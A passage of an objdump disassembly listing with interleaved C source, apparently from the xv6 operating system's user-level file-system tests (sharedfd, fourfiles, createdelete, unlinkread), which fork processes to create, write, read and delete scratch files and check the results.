fa8: eb 2a jmp fd4 <sharedfd+0x15e>
if(buf[i] == 'c')
faa: 8d 55 d6 lea -0x2a(%ebp),%edx
fad: 8b 45 f4 mov -0xc(%ebp),%eax
fb0: 01 d0 add %edx,%eax
fb2: 0f b6 00 movzbl (%eax),%eax
fb5: 3c 63 cmp $0x63,%al
fb7: 75 04 jne fbd <sharedfd+0x147>
nc++;
fb9: 83 45 f0 01 addl $0x1,-0x10(%ebp)
if(buf[i] == 'p')
fbd: 8d 55 d6 lea -0x2a(%ebp),%edx
fc0: 8b 45 f4 mov -0xc(%ebp),%eax
fc3: 01 d0 add %edx,%eax
fc5: 0f b6 00 movzbl (%eax),%eax
fc8: 3c 70 cmp $0x70,%al
fca: 75 04 jne fd0 <sharedfd+0x15a>
np++;
fcc: 83 45 ec 01 addl $0x1,-0x14(%ebp)
for(i = 0; i < sizeof(buf); i++){
fd0: 83 45 f4 01 addl $0x1,-0xc(%ebp)
fd4: 8b 45 f4 mov -0xc(%ebp),%eax
fd7: 83 f8 09 cmp $0x9,%eax
fda: 76 ce jbe faa <sharedfd+0x134>
while((n = read(fd, buf, sizeof(buf))) > 0){
fdc: 83 ec 04 sub $0x4,%esp
fdf: 6a 0a push $0xa
fe1: 8d 45 d6 lea -0x2a(%ebp),%eax
fe4: 50 push %eax
fe5: ff 75 e8 pushl -0x18(%ebp)
fe8: e8 f6 2e 00 00 call 3ee3 <read>
fed: 83 c4 10 add $0x10,%esp
ff0: 89 45 e0 mov %eax,-0x20(%ebp)
ff3: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
ff7: 7f a8 jg fa1 <sharedfd+0x12b>
}
}
close(fd);
ff9: 83 ec 0c sub $0xc,%esp
ffc: ff 75 e8 pushl -0x18(%ebp)
fff: e8 ef 2e 00 00 call 3ef3 <close>
1004: 83 c4 10 add $0x10,%esp
unlink("sharedfd");
1007: 83 ec 0c sub $0xc,%esp
100a: 68 6a 49 00 00 push $0x496a
100f: e8 07 2f 00 00 call 3f1b <unlink>
1014: 83 c4 10 add $0x10,%esp
if(nc == 10000 && np == 10000){
1017: 81 7d f0 10 27 00 00 cmpl $0x2710,-0x10(%ebp)
101e: 75 1d jne 103d <sharedfd+0x1c7>
1020: 81 7d ec 10 27 00 00 cmpl $0x2710,-0x14(%ebp)
1027: 75 14 jne 103d <sharedfd+0x1c7>
printf(1, "sharedfd ok\n");
1029: 83 ec 08 sub $0x8,%esp
102c: 68 eb 49 00 00 push $0x49eb
1031: 6a 01 push $0x1
1033: e8 06 30 00 00 call 403e <printf>
1038: 83 c4 10 add $0x10,%esp
103b: eb 1a jmp 1057 <sharedfd+0x1e1>
} else {
printf(1, "sharedfd oops %d %d\n", nc, np);
103d: ff 75 ec pushl -0x14(%ebp)
1040: ff 75 f0 pushl -0x10(%ebp)
1043: 68 f8 49 00 00 push $0x49f8
1048: 6a 01 push $0x1
104a: e8 ef 2f 00 00 call 403e <printf>
104f: 83 c4 10 add $0x10,%esp
exit();
1052: e8 74 2e 00 00 call 3ecb <exit>
}
}
1057: c9 leave
1058: c3 ret
00001059 <fourfiles>:
// four processes write different files at the same
// time, to test block allocation.
void
fourfiles(void)
{
1059: 55 push %ebp
105a: 89 e5 mov %esp,%ebp
105c: 83 ec 38 sub $0x38,%esp
int fd, pid, i, j, n, total, pi;
char *names[] = { "f0", "f1", "f2", "f3" };
105f: c7 45 c8 0d 4a 00 00 movl $0x4a0d,-0x38(%ebp)
1066: c7 45 cc 10 4a 00 00 movl $0x4a10,-0x34(%ebp)
106d: c7 45 d0 13 4a 00 00 movl $0x4a13,-0x30(%ebp)
1074: c7 45 d4 16 4a 00 00 movl $0x4a16,-0x2c(%ebp)
char *fname;
printf(1, "fourfiles test\n");
107b: 83 ec 08 sub $0x8,%esp
107e: 68 19 4a 00 00 push $0x4a19
1083: 6a 01 push $0x1
1085: e8 b4 2f 00 00 call 403e <printf>
108a: 83 c4 10 add $0x10,%esp
for(pi = 0; pi < 4; pi++){
108d: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp)
1094: e9 f0 00 00 00 jmp 1189 <fourfiles+0x130>
fname = names[pi];
1099: 8b 45 e8 mov -0x18(%ebp),%eax
109c: 8b 44 85 c8 mov -0x38(%ebp,%eax,4),%eax
10a0: 89 45 e4 mov %eax,-0x1c(%ebp)
unlink(fname);
10a3: 83 ec 0c sub $0xc,%esp
10a6: ff 75 e4 pushl -0x1c(%ebp)
10a9: e8 6d 2e 00 00 call 3f1b <unlink>
10ae: 83 c4 10 add $0x10,%esp
pid = fork();
10b1: e8 0d 2e 00 00 call 3ec3 <fork>
10b6: 89 45 e0 mov %eax,-0x20(%ebp)
if(pid < 0){
10b9: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
10bd: 79 17 jns 10d6 <fourfiles+0x7d>
printf(1, "fork failed\n");
10bf: 83 ec 08 sub $0x8,%esp
10c2: 68 95 44 00 00 push $0x4495
10c7: 6a 01 push $0x1
10c9: e8 70 2f 00 00 call 403e <printf>
10ce: 83 c4 10 add $0x10,%esp
exit();
10d1: e8 f5 2d 00 00 call 3ecb <exit>
}
if(pid == 0){
10d6: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
10da: 0f 85 a5 00 00 00 jne 1185 <fourfiles+0x12c>
fd = open(fname, O_CREATE | O_RDWR);
10e0: 83 ec 08 sub $0x8,%esp
10e3: 68 02 02 00 00 push $0x202
10e8: ff 75 e4 pushl -0x1c(%ebp)
10eb: e8 1b 2e 00 00 call 3f0b <open>
10f0: 83 c4 10 add $0x10,%esp
10f3: 89 45 dc mov %eax,-0x24(%ebp)
if(fd < 0){
10f6: 83 7d dc 00 cmpl $0x0,-0x24(%ebp)
10fa: 79 17 jns 1113 <fourfiles+0xba>
printf(1, "create failed\n");
10fc: 83 ec 08 sub $0x8,%esp
10ff: 68 29 4a 00 00 push $0x4a29
1104: 6a 01 push $0x1
1106: e8 33 2f 00 00 call 403e <printf>
110b: 83 c4 10 add $0x10,%esp
exit();
110e: e8 b8 2d 00 00 call 3ecb <exit>
}
memset(buf, '0'+pi, 512);
1113: 8b 45 e8 mov -0x18(%ebp),%eax
1116: 83 c0 30 add $0x30,%eax
1119: 83 ec 04 sub $0x4,%esp
111c: 68 00 02 00 00 push $0x200
1121: 50 push %eax
1122: 68 a0 8a 00 00 push $0x8aa0
1127: e8 04 2c 00 00 call 3d30 <memset>
112c: 83 c4 10 add $0x10,%esp
for(i = 0; i < 12; i++){
112f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1136: eb 42 jmp 117a <fourfiles+0x121>
if((n = write(fd, buf, 500)) != 500){
1138: 83 ec 04 sub $0x4,%esp
113b: 68 f4 01 00 00 push $0x1f4
1140: 68 a0 8a 00 00 push $0x8aa0
1145: ff 75 dc pushl -0x24(%ebp)
1148: e8 9e 2d 00 00 call 3eeb <write>
114d: 83 c4 10 add $0x10,%esp
1150: 89 45 d8 mov %eax,-0x28(%ebp)
1153: 81 7d d8 f4 01 00 00 cmpl $0x1f4,-0x28(%ebp)
115a: 74 1a je 1176 <fourfiles+0x11d>
printf(1, "write failed %d\n", n);
115c: 83 ec 04 sub $0x4,%esp
115f: ff 75 d8 pushl -0x28(%ebp)
1162: 68 38 4a 00 00 push $0x4a38
1167: 6a 01 push $0x1
1169: e8 d0 2e 00 00 call 403e <printf>
116e: 83 c4 10 add $0x10,%esp
exit();
1171: e8 55 2d 00 00 call 3ecb <exit>
for(i = 0; i < 12; i++){
1176: 83 45 f4 01 addl $0x1,-0xc(%ebp)
117a: 83 7d f4 0b cmpl $0xb,-0xc(%ebp)
117e: 7e b8 jle 1138 <fourfiles+0xdf>
}
}
exit();
1180: e8 46 2d 00 00 call 3ecb <exit>
for(pi = 0; pi < 4; pi++){
1185: 83 45 e8 01 addl $0x1,-0x18(%ebp)
1189: 83 7d e8 03 cmpl $0x3,-0x18(%ebp)
118d: 0f 8e 06 ff ff ff jle 1099 <fourfiles+0x40>
}
}
for(pi = 0; pi < 4; pi++){
1193: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp)
119a: eb 09 jmp 11a5 <fourfiles+0x14c>
wait();
119c: e8 32 2d 00 00 call 3ed3 <wait>
for(pi = 0; pi < 4; pi++){
11a1: 83 45 e8 01 addl $0x1,-0x18(%ebp)
11a5: 83 7d e8 03 cmpl $0x3,-0x18(%ebp)
11a9: 7e f1 jle 119c <fourfiles+0x143>
}
for(i = 0; i < 2; i++){
11ab: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
11b2: e9 d4 00 00 00 jmp 128b <fourfiles+0x232>
fname = names[i];
11b7: 8b 45 f4 mov -0xc(%ebp),%eax
11ba: 8b 44 85 c8 mov -0x38(%ebp,%eax,4),%eax
11be: 89 45 e4 mov %eax,-0x1c(%ebp)
fd = open(fname, 0);
11c1: 83 ec 08 sub $0x8,%esp
11c4: 6a 00 push $0x0
11c6: ff 75 e4 pushl -0x1c(%ebp)
11c9: e8 3d 2d 00 00 call 3f0b <open>
11ce: 83 c4 10 add $0x10,%esp
11d1: 89 45 dc mov %eax,-0x24(%ebp)
total = 0;
11d4: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
while((n = read(fd, buf, sizeof(buf))) > 0){
11db: eb 4a jmp 1227 <fourfiles+0x1ce>
for(j = 0; j < n; j++){
11dd: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
11e4: eb 33 jmp 1219 <fourfiles+0x1c0>
if(buf[j] != '0'+i){
11e6: 8b 45 f0 mov -0x10(%ebp),%eax
11e9: 05 a0 8a 00 00 add $0x8aa0,%eax
11ee: 0f b6 00 movzbl (%eax),%eax
11f1: 0f be c0 movsbl %al,%eax
11f4: 8b 55 f4 mov -0xc(%ebp),%edx
11f7: 83 c2 30 add $0x30,%edx
11fa: 39 d0 cmp %edx,%eax
11fc: 74 17 je 1215 <fourfiles+0x1bc>
printf(1, "wrong char\n");
11fe: 83 ec 08 sub $0x8,%esp
1201: 68 49 4a 00 00 push $0x4a49
1206: 6a 01 push $0x1
1208: e8 31 2e 00 00 call 403e <printf>
120d: 83 c4 10 add $0x10,%esp
exit();
1210: e8 b6 2c 00 00 call 3ecb <exit>
for(j = 0; j < n; j++){
1215: 83 45 f0 01 addl $0x1,-0x10(%ebp)
1219: 8b 45 f0 mov -0x10(%ebp),%eax
121c: 3b 45 d8 cmp -0x28(%ebp),%eax
121f: 7c c5 jl 11e6 <fourfiles+0x18d>
}
}
total += n;
1221: 8b 45 d8 mov -0x28(%ebp),%eax
1224: 01 45 ec add %eax,-0x14(%ebp)
while((n = read(fd, buf, sizeof(buf))) > 0){
1227: 83 ec 04 sub $0x4,%esp
122a: 68 00 20 00 00 push $0x2000
122f: 68 a0 8a 00 00 push $0x8aa0
1234: ff 75 dc pushl -0x24(%ebp)
1237: e8 a7 2c 00 00 call 3ee3 <read>
123c: 83 c4 10 add $0x10,%esp
123f: 89 45 d8 mov %eax,-0x28(%ebp)
1242: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
1246: 7f 95 jg 11dd <fourfiles+0x184>
}
close(fd);
1248: 83 ec 0c sub $0xc,%esp
124b: ff 75 dc pushl -0x24(%ebp)
124e: e8 a0 2c 00 00 call 3ef3 <close>
1253: 83 c4 10 add $0x10,%esp
if(total != 12*500){
1256: 81 7d ec 70 17 00 00 cmpl $0x1770,-0x14(%ebp)
125d: 74 1a je 1279 <fourfiles+0x220>
printf(1, "wrong length %d\n", total);
125f: 83 ec 04 sub $0x4,%esp
1262: ff 75 ec pushl -0x14(%ebp)
1265: 68 55 4a 00 00 push $0x4a55
126a: 6a 01 push $0x1
126c: e8 cd 2d 00 00 call 403e <printf>
1271: 83 c4 10 add $0x10,%esp
exit();
1274: e8 52 2c 00 00 call 3ecb <exit>
}
unlink(fname);
1279: 83 ec 0c sub $0xc,%esp
127c: ff 75 e4 pushl -0x1c(%ebp)
127f: e8 97 2c 00 00 call 3f1b <unlink>
1284: 83 c4 10 add $0x10,%esp
for(i = 0; i < 2; i++){
1287: 83 45 f4 01 addl $0x1,-0xc(%ebp)
128b: 83 7d f4 01 cmpl $0x1,-0xc(%ebp)
128f: 0f 8e 22 ff ff ff jle 11b7 <fourfiles+0x15e>
}
printf(1, "fourfiles ok\n");
1295: 83 ec 08 sub $0x8,%esp
1298: 68 66 4a 00 00 push $0x4a66
129d: 6a 01 push $0x1
129f: e8 9a 2d 00 00 call 403e <printf>
12a4: 83 c4 10 add $0x10,%esp
}
12a7: 90 nop
12a8: c9 leave
12a9: c3 ret
000012aa <createdelete>:
// four processes create and delete different files in same directory
void
createdelete(void)
{
12aa: 55 push %ebp
12ab: 89 e5 mov %esp,%ebp
12ad: 83 ec 38 sub $0x38,%esp
enum { N = 20 };
int pid, i, fd, pi;
char name[32];
printf(1, "createdelete test\n");
12b0: 83 ec 08 sub $0x8,%esp
12b3: 68 74 4a 00 00 push $0x4a74
12b8: 6a 01 push $0x1
12ba: e8 7f 2d 00 00 call 403e <printf>
12bf: 83 c4 10 add $0x10,%esp
for(pi = 0; pi < 4; pi++){
12c2: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
12c9: e9 f6 00 00 00 jmp 13c4 <createdelete+0x11a>
pid = fork();
12ce: e8 f0 2b 00 00 call 3ec3 <fork>
12d3: 89 45 ec mov %eax,-0x14(%ebp)
if(pid < 0){
12d6: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
12da: 79 17 jns 12f3 <createdelete+0x49>
printf(1, "fork failed\n");
12dc: 83 ec 08 sub $0x8,%esp
12df: 68 95 44 00 00 push $0x4495
12e4: 6a 01 push $0x1
12e6: e8 53 2d 00 00 call 403e <printf>
12eb: 83 c4 10 add $0x10,%esp
exit();
12ee: e8 d8 2b 00 00 call 3ecb <exit>
}
if(pid == 0){
12f3: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
12f7: 0f 85 c3 00 00 00 jne 13c0 <createdelete+0x116>
name[0] = 'p' + pi;
12fd: 8b 45 f0 mov -0x10(%ebp),%eax
1300: 83 c0 70 add $0x70,%eax
1303: 88 45 c8 mov %al,-0x38(%ebp)
name[2] = '\0';
1306: c6 45 ca 00 movb $0x0,-0x36(%ebp)
for(i = 0; i < N; i++){
130a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1311: e9 9b 00 00 00 jmp 13b1 <createdelete+0x107>
name[1] = '0' + i;
1316: 8b 45 f4 mov -0xc(%ebp),%eax
1319: 83 c0 30 add $0x30,%eax
131c: 88 45 c9 mov %al,-0x37(%ebp)
fd = open(name, O_CREATE | O_RDWR);
131f: 83 ec 08 sub $0x8,%esp
1322: 68 02 02 00 00 push $0x202
1327: 8d 45 c8 lea -0x38(%ebp),%eax
132a: 50 push %eax
132b: e8 db 2b 00 00 call 3f0b <open>
1330: 83 c4 10 add $0x10,%esp
1333: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
1336: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
133a: 79 17 jns 1353 <createdelete+0xa9>
printf(1, "create failed\n");
133c: 83 ec 08 sub $0x8,%esp
133f: 68 29 4a 00 00 push $0x4a29
1344: 6a 01 push $0x1
1346: e8 f3 2c 00 00 call 403e <printf>
134b: 83 c4 10 add $0x10,%esp
exit();
134e: e8 78 2b 00 00 call 3ecb <exit>
}
close(fd);
1353: 83 ec 0c sub $0xc,%esp
1356: ff 75 e8 pushl -0x18(%ebp)
1359: e8 95 2b 00 00 call 3ef3 <close>
135e: 83 c4 10 add $0x10,%esp
if(i > 0 && (i % 2 ) == 0){
1361: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1365: 7e 46 jle 13ad <createdelete+0x103>
1367: 8b 45 f4 mov -0xc(%ebp),%eax
136a: 83 e0 01 and $0x1,%eax
136d: 85 c0 test %eax,%eax
136f: 75 3c jne 13ad <createdelete+0x103>
name[1] = '0' + (i / 2);
1371: 8b 45 f4 mov -0xc(%ebp),%eax
1374: 89 c2 mov %eax,%edx
1376: c1 ea 1f shr $0x1f,%edx
1379: 01 d0 add %edx,%eax
137b: d1 f8 sar %eax
137d: 83 c0 30 add $0x30,%eax
1380: 88 45 c9 mov %al,-0x37(%ebp)
if(unlink(name) < 0){
1383: 83 ec 0c sub $0xc,%esp
1386: 8d 45 c8 lea -0x38(%ebp),%eax
1389: 50 push %eax
138a: e8 8c 2b 00 00 call 3f1b <unlink>
138f: 83 c4 10 add $0x10,%esp
1392: 85 c0 test %eax,%eax
1394: 79 17 jns 13ad <createdelete+0x103>
printf(1, "unlink failed\n");
1396: 83 ec 08 sub $0x8,%esp
1399: 68 18 45 00 00 push $0x4518
139e: 6a 01 push $0x1
13a0: e8 99 2c 00 00 call 403e <printf>
13a5: 83 c4 10 add $0x10,%esp
exit();
13a8: e8 1e 2b 00 00 call 3ecb <exit>
for(i = 0; i < N; i++){
13ad: 83 45 f4 01 addl $0x1,-0xc(%ebp)
13b1: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
13b5: 0f 8e 5b ff ff ff jle 1316 <createdelete+0x6c>
}
}
}
exit();
13bb: e8 0b 2b 00 00 call 3ecb <exit>
for(pi = 0; pi < 4; pi++){
13c0: 83 45 f0 01 addl $0x1,-0x10(%ebp)
13c4: 83 7d f0 03 cmpl $0x3,-0x10(%ebp)
13c8: 0f 8e 00 ff ff ff jle 12ce <createdelete+0x24>
}
}
for(pi = 0; pi < 4; pi++){
13ce: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
13d5: eb 09 jmp 13e0 <createdelete+0x136>
wait();
13d7: e8 f7 2a 00 00 call 3ed3 <wait>
for(pi = 0; pi < 4; pi++){
13dc: 83 45 f0 01 addl $0x1,-0x10(%ebp)
13e0: 83 7d f0 03 cmpl $0x3,-0x10(%ebp)
13e4: 7e f1 jle 13d7 <createdelete+0x12d>
}
name[0] = name[1] = name[2] = 0;
13e6: c6 45 ca 00 movb $0x0,-0x36(%ebp)
13ea: 0f b6 45 ca movzbl -0x36(%ebp),%eax
13ee: 88 45 c9 mov %al,-0x37(%ebp)
13f1: 0f b6 45 c9 movzbl -0x37(%ebp),%eax
13f5: 88 45 c8 mov %al,-0x38(%ebp)
for(i = 0; i < N; i++){
13f8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
13ff: e9 b2 00 00 00 jmp 14b6 <createdelete+0x20c>
for(pi = 0; pi < 4; pi++){
1404: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
140b: e9 98 00 00 00 jmp 14a8 <createdelete+0x1fe>
name[0] = 'p' + pi;
1410: 8b 45 f0 mov -0x10(%ebp),%eax
1413: 83 c0 70 add $0x70,%eax
1416: 88 45 c8 mov %al,-0x38(%ebp)
name[1] = '0' + i;
1419: 8b 45 f4 mov -0xc(%ebp),%eax
141c: 83 c0 30 add $0x30,%eax
141f: 88 45 c9 mov %al,-0x37(%ebp)
fd = open(name, 0);
1422: 83 ec 08 sub $0x8,%esp
1425: 6a 00 push $0x0
1427: 8d 45 c8 lea -0x38(%ebp),%eax
142a: 50 push %eax
142b: e8 db 2a 00 00 call 3f0b <open>
1430: 83 c4 10 add $0x10,%esp
1433: 89 45 e8 mov %eax,-0x18(%ebp)
if((i == 0 || i >= N/2) && fd < 0){
1436: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
143a: 74 06 je 1442 <createdelete+0x198>
143c: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
1440: 7e 21 jle 1463 <createdelete+0x1b9>
1442: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1446: 79 1b jns 1463 <createdelete+0x1b9>
printf(1, "oops createdelete %s didn't exist\n", name);
1448: 83 ec 04 sub $0x4,%esp
144b: 8d 45 c8 lea -0x38(%ebp),%eax
144e: 50 push %eax
144f: 68 88 4a 00 00 push $0x4a88
1454: 6a 01 push $0x1
1456: e8 e3 2b 00 00 call 403e <printf>
145b: 83 c4 10 add $0x10,%esp
exit();
145e: e8 68 2a 00 00 call 3ecb <exit>
} else if((i >= 1 && i < N/2) && fd >= 0){
1463: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1467: 7e 27 jle 1490 <createdelete+0x1e6>
1469: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
146d: 7f 21 jg 1490 <createdelete+0x1e6>
146f: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1473: 78 1b js 1490 <createdelete+0x1e6>
printf(1, "oops createdelete %s did exist\n", name);
1475: 83 ec 04 sub $0x4,%esp
1478: 8d 45 c8 lea -0x38(%ebp),%eax
147b: 50 push %eax
147c: 68 ac 4a 00 00 push $0x4aac
1481: 6a 01 push $0x1
1483: e8 b6 2b 00 00 call 403e <printf>
1488: 83 c4 10 add $0x10,%esp
exit();
148b: e8 3b 2a 00 00 call 3ecb <exit>
}
if(fd >= 0)
1490: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1494: 78 0e js 14a4 <createdelete+0x1fa>
close(fd);
1496: 83 ec 0c sub $0xc,%esp
1499: ff 75 e8 pushl -0x18(%ebp)
149c: e8 52 2a 00 00 call 3ef3 <close>
14a1: 83 c4 10 add $0x10,%esp
for(pi = 0; pi < 4; pi++){
14a4: 83 45 f0 01 addl $0x1,-0x10(%ebp)
14a8: 83 7d f0 03 cmpl $0x3,-0x10(%ebp)
14ac: 0f 8e 5e ff ff ff jle 1410 <createdelete+0x166>
for(i = 0; i < N; i++){
14b2: 83 45 f4 01 addl $0x1,-0xc(%ebp)
14b6: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
14ba: 0f 8e 44 ff ff ff jle 1404 <createdelete+0x15a>
}
}
for(i = 0; i < N; i++){
14c0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
14c7: eb 38 jmp 1501 <createdelete+0x257>
for(pi = 0; pi < 4; pi++){
14c9: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
14d0: eb 25 jmp 14f7 <createdelete+0x24d>
name[0] = 'p' + i;
14d2: 8b 45 f4 mov -0xc(%ebp),%eax
14d5: 83 c0 70 add $0x70,%eax
14d8: 88 45 c8 mov %al,-0x38(%ebp)
name[1] = '0' + i;
14db: 8b 45 f4 mov -0xc(%ebp),%eax
14de: 83 c0 30 add $0x30,%eax
14e1: 88 45 c9 mov %al,-0x37(%ebp)
unlink(name);
14e4: 83 ec 0c sub $0xc,%esp
14e7: 8d 45 c8 lea -0x38(%ebp),%eax
14ea: 50 push %eax
14eb: e8 2b 2a 00 00 call 3f1b <unlink>
14f0: 83 c4 10 add $0x10,%esp
for(pi = 0; pi < 4; pi++){
14f3: 83 45 f0 01 addl $0x1,-0x10(%ebp)
14f7: 83 7d f0 03 cmpl $0x3,-0x10(%ebp)
14fb: 7e d5 jle 14d2 <createdelete+0x228>
for(i = 0; i < N; i++){
14fd: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1501: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
1505: 7e c2 jle 14c9 <createdelete+0x21f>
}
}
printf(1, "createdelete ok\n");
1507: 83 ec 08 sub $0x8,%esp
150a: 68 cc 4a 00 00 push $0x4acc
150f: 6a 01 push $0x1
1511: e8 28 2b 00 00 call 403e <printf>
1516: 83 c4 10 add $0x10,%esp
}
1519: 90 nop
151a: c9 leave
151b: c3 ret
0000151c <unlinkread>:
// can I unlink a file and still read it?
void
unlinkread(void)
{
151c: 55 push %ebp
151d: 89 e5 mov %esp,%ebp
151f: 83 ec 18 sub $0x18,%esp
int fd, fd1;
printf(1, "unlinkread test\n");
1522: 83 ec 08 sub $0x8,%esp
1525: 68 dd 4a 00 00 push $0x4add
152a: 6a 01 push $0x1
152c: e8 0d 2b 00 00 call 403e <printf>
1531: 83 c4 10 add $0x10,%esp
fd = open("unlinkread", O_CREATE | O_RDWR);
1534: 83 ec 08 sub $0x8,%esp
1537: 68 02 02 00 00 push $0x202
153c: 68 ee 4a 00 00 push $0x4aee
1541: e8 c5 29 00 00 call 3f0b <open>
1546: 83 c4 10 add $0x10,%esp
1549: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
154c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1550: 79 17 jns 1569 <unlinkread+0x4d>
printf(1, "create unlinkread failed\n");
1552: 83 ec 08 sub $0x8,%esp
1555: 68 f9 4a 00 00 push $0x4af9
155a: 6a 01 push $0x1
155c: e8 dd 2a 00 00 call 403e <printf>
1561: 83 c4 10 add $0x10,%esp
exit();
1564: e8 62 29 00 00 call 3ecb <exit>
}
write(fd, "hello", 5);
1569: 83 ec 04 sub $0x4,%esp
156c: 6a 05 push $0x5
156e: 68 13 4b 00 00 push $0x4b13
1573: ff 75 f4 pushl -0xc(%ebp)
1576: e8 70 29 00 00 call 3eeb <write>
157b: 83 c4 10 add $0x10,%esp
close(fd);
157e: 83 ec 0c sub $0xc,%esp
1581: ff 75 f4 pushl -0xc(%ebp)
1584: e8 6a 29 00 00 call 3ef3 <close>
1589: 83 c4 10 add $0x10,%esp
fd = open("unlinkread", O_RDWR);
158c: 83 ec 08 sub $0x8,%esp
158f: 6a 02 push $0x2
1591: 68 ee 4a 00 00 push $0x4aee
1596: e8 70 29 00 00 call 3f0b <open>
159b: 83 c4 10 add $0x10,%esp
159e: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
15a1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
15a5: 79 17 jns 15be <unlinkread+0xa2>
printf(1, "open unlinkread failed\n");
15a7: 83 ec 08 sub $0x8,%esp
15aa: 68 19 4b 00 00 push $0x4b19
15af: 6a 01 push $0x1
15b1: e8 88 2a 00 00 call 403e <printf>
15b6: 83 c4 10 add $0x10,%esp
exit();
15b9: e8 0d 29 00 00 call 3ecb <exit>
}
if(unlink("unlinkread") != 0){
15be: 83 ec 0c sub $0xc,%esp
15c1: 68 ee 4a 00 00 push $0x4aee
15c6: e8 50 29 00 00 call 3f1b <unlink>
15cb: 83 c4 10 add $0x10,%esp
15ce: 85 c0 test %eax,%eax
15d0: 74 17 je 15e9 <unlinkread+0xcd>
printf(1, "unlink unlinkread failed\n");
15d2: 83 ec 08 sub $0x8,%esp
15d5: 68 31 4b 00 00 push $0x4b31
15da: 6a 01 push $0x1
15dc: e8 5d 2a 00 00 call 403e <printf>
15e1: 83 c4 10 add $0x10,%esp
exit();
15e4: e8 e2 28 00 00 call 3ecb <exit>
}
fd1 = open("unlinkread", O_CREATE | O_RDWR);
15e9: 83 ec 08 sub $0x8,%esp
15ec: 68 02 02 00 00 push $0x202
15f1: 68 ee 4a 00 00 push $0x4aee
15f6: e8 10 29 00 00 call 3f0b <open>
15fb: 83 c4 10 add $0x10,%esp
15fe: 89 45 f0 mov %eax,-0x10(%ebp)
write(fd1, "yyy", 3);
1601: 83 ec 04 sub $0x4,%esp
1604: 6a 03 push $0x3
1606: 68 4b 4b 00 00 push $0x4b4b
160b: ff 75 f0 pushl -0x10(%ebp)
160e: e8 d8 28 00 00 call 3eeb <write>
1613: 83 c4 10 add $0x10,%esp
close(fd1);
1616: 83 ec 0c sub $0xc,%esp
1619: ff 75 f0 pushl -0x10(%ebp)
161c: e8 d2 28 00 00 call 3ef3 <close>
1621: 83 c4 10 add $0x10,%esp
if(read(fd, buf, sizeof(buf)) != 5){
1624: 83 ec 04 sub $0x4,%esp
1627: 68 00 20 00 00 push $0x2000
162c: 68 a0 8a 00 00 push $0x8aa0
1631: ff 75 f4 pushl -0xc(%ebp)
1634: e8 aa 28 00 00 call 3ee3 <read>
1639: 83 c4 10 add $0x10,%esp
163c: 83 f8 05 cmp $0x5,%eax
163f: 74 17 je 1658 <unlinkread+0x13c>
printf(1, "unlinkread read failed");
1641: 83 ec 08 sub $0x8,%esp
1644: 68 4f 4b 00 00 push $0x4b4f
1649: 6a 01 push $0x1
164b: e8 ee 29 00 00 call 403e <printf>
1650: 83 c4 10 add $0x10,%esp
exit();
1653: e8 73 28 00 00 call 3ecb <exit>
}
if(buf[0] != 'h'){
1658: 0f b6 05 a0 8a 00 00 movzbl 0x8aa0,%eax
165f: 3c 68 cmp $0x68,%al
1661: 74 17 je 167a <unlinkread+0x15e>
printf(1, "unlinkread wrong data\n");
1663: 83 ec 08 sub $0x8,%esp
1666: 68 66 4b 00 00 push $0x4b66
166b: 6a 01 push $0x1
166d: e8 cc 29 00 00 call 403e <printf>
1672: 83 c4 10 add $0x10,%esp
exit();
1675: e8 51 28 00 00 call 3ecb <exit>
}
if(write(fd, buf, 10) != 10){
167a: 83 ec 04 sub $0x4,%esp
167d: 6a 0a push $0xa
167f: 68 a0 8a 00 00 push $0x8aa0
1684: ff 75 f4 pushl -0xc(%ebp)
1687: e8 5f 28 00 00 call 3eeb <write>
168c: 83 c4 10 add $0x10,%esp
168f: 83 f8 0a cmp $0xa,%eax
1692: 74 17 je 16ab <unlinkread+0x18f>
printf(1, "unlinkread write failed\n");
1694: 83 ec 08 sub $0x8,%esp
1697: 68 7d 4b 00 00 push $0x4b7d
169c: 6a 01 push $0x1
169e: e8 9b 29 00 00 call 403e <printf>
16a3: 83 c4 10 add $0x10,%esp
exit();
16a6: e8 20 28 00 00 call 3ecb <exit>
}
close(fd);
16ab: 83 ec 0c sub $0xc,%esp
16ae: ff 75 f4 pushl -0xc(%ebp)
16b1: e8 3d 28 00 00 call 3ef3 <close>
16b6: 83 c4 10 add $0x10,%esp
unlink("unlinkread");
16b9: 83 ec 0c sub $0xc,%esp
16bc: 68 ee 4a 00 00 push $0x4aee
16c1: e8 55 28 00 00 call 3f1b <unlink>
16c6: 83 c4 10 add $0x10,%esp
printf(1, "unlinkread ok\n");
